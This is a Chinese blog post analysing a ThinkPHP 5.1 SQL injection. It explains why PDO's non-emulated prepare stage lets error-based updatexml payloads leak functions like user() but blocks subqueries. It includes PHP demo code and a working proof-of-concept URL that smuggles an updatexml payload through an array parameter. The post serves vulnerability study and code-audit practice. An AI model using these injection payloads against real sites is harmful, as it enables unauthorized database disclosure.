zoukankan      html  css  js  c++  java
  • 关于ThinkPHP5鸡肋注入漏洞思考

    前言

    在昨天想出一道tp5的sql注入时发现报错注入只能爆出类似于user()、database()这类最基础的信息,而不能进行子查询。

    当对字段进行查询时,会发现报错无法显示我们想要的。经过搜索后发现原因:
    thinkphp框架使用参数化查询PDO,将参数与查询语句分离,降低了漏洞风险,下面将会针对该框架的PDO进行分析。

    0x01

    以下分析仅仅针对5.1版本
    引用P神得文章

    https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
    在之前得分析注入文章中,我仅仅是审计源码却忽略了为什么报错。。为什么拼接了我们得参数能够报错。P神已经从最根本的原理层面剖析了这个问题

    报错原因?

    预编译SQL语句的时候发生错误,从而产生报错

    PDO预编译执行过程

    1:prepare($SQL) 编译SQL语句
    2:bindValue($param, $value) 将value绑定到param的位置上
    3:execute() 执行
    

    当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符 ? 发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,他们是分开传送的,两者独立的,SQL攻击者没有一点机会。

    这个漏洞实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误使得报错(单纯的语句报错)
    那么我们实际上报错利用点在哪里呢?

    实际上,在预编译的时候,也就是第一步即可利用。
    代码

    <?php
    $params = [
        PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_EMULATE_PREPARES  => false,
    ];
    
    $db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);
    
    try {
        $link = $db->prepare('SELECT * FROM users WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
    } catch (PDOException $e) {
        var_dump($e);
    }
    

    执行发现,虽然我只调用了prepare函数,但原SQL语句中的报错已经成功执行:

    究其原因,是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false。

    这个选项涉及到PDO的“预处理”机制:因为不是所有数据库驱动都支持SQL预编译,所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。

    非模拟预处理的情况下,参数化绑定过程分两步:第一步是prepare阶段,发送带有占位符的sql语句到mysql服务器(parsing->resolution),第二步是多次发送占位符参数给mysql服务器进行执行(多次执行optimization->execution)。

    这时,假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了,那么就会直接由mysql那边抛出异常,不会再执行第二步。我们看看ThinkPHP5的默认配置:

    ...
    // PDO连接参数
    protected $params = [
        PDO::ATTR_CASE              => PDO::CASE_NATURAL,
        PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
        PDO::ATTR_STRINGIFY_FETCHES => false,
        PDO::ATTR_EMULATE_PREPARES  => false,
    ];
    ...
    

    可见,这里的确设置了PDO::ATTR_EMULATE_PREPARES => false。所以,终上所述,我构造如下POC,即可利用报错注入,获取user()信息:

    http://127.0.0.1:88/tp517/public/index.php/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
    

    但是,如果你将user()改成一个子查询语句,那么结果又会爆出Invalid parameter number: parameter was not defined的错误。因为没有过多研究,说一下我猜测:预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。

    继续深入

    我们将user()改成一个子查询语句,来看看是什么结果

    <?php
    $params = [
        PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_EMULATE_PREPARES  => false,
    ];
    
    $db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);
    
    try {
           $link = $db->prepare('SELECT * FROM `users` WHERE  `id` IN (:where_id_in_0,updatexml(0,concat(0xa,(select username from users limit 1)),0)) ');
    
    } catch (PDOException $e) {
        var_dump($e);
    }
    

    这个原因就和我们上面说的
    虽然我们使用了updatexml函数,但是他可能不接触数据:
    预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。
    我们把upupdatexml函数去掉呢?让预编译过程第一步顺利执行会顺利执行第三步吗?
    代码:

    <?php
    $params = [
        PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_EMULATE_PREPARES  => false,
    ];
    
    $db = new PDO('mysql:dbname=tpdemo;host=127.0.0.1;', 'root', 'root', $params);
    
    try {
        $link = $db->prepare('SELECT * FROM users WHERE  id IN (:where_id_in_0)union(select~1,2)');
        var_dump($link);
        $link->bindValue(':where_id_in_0)union(select~1,2)','1','1');
    } catch (PDOException $e) {
        var_dump($e);
    }
    

    SQLSTATE[HY093]: Invalid parameter number: parameter was not defined。 在上面的demo中在绑定的变量中,我已经经历让:符号后面的字符串中不出现空格。但是在PDO的prepare编译sql语句这个过程中,pdo已经把(:)内的内容认为时PDO绑定的变量,所以在第二步bindValue步骤中,才会报错parameter was not defined
    也就说这2步数据不匹配。
    导致无法正常执行第三步查询我们想要得字段

    总结

    TP5整个系列注入漏洞都很鸡肋,
    tp5的洞鸡肋在传参数限定类型为array 多nt的程序员才会这样写。。。不过用来锻炼代审还是有用。
    归根到底框架采用的PDO机制可以说从根本上已经解决了一大堆SQL方面的安全问题,但往往有时就是对安全的过于信任,导致这里是在参数绑定的过程中产生了注入,不过PDO也可以说是将危害降到了最小。
    目前我只发现了一个版本
    thinkphp 5.0.10 sql注入漏洞 支持子查询

    参考

    https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

  • 相关阅读:
    delphi ios grid BindSourceDB bug
    RAD 10 C++Builder的bug
    Delphi Berlin 窗体代码分离风格 回到Delphi7传统风格
    delphi const的用法
    mysql的sql优化
    mysql如何使用索引index提升查询效率?
    移动端mobiscroll无法滑动、无法划动选值的问题
    html css的内联样式 内部样式表 外部样式表的优先级
    jfinal如何获取参数为数组的值
    jquery如何让checkbox如何取消勾选
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12795610.html
Copyright © 2011-2022 走看看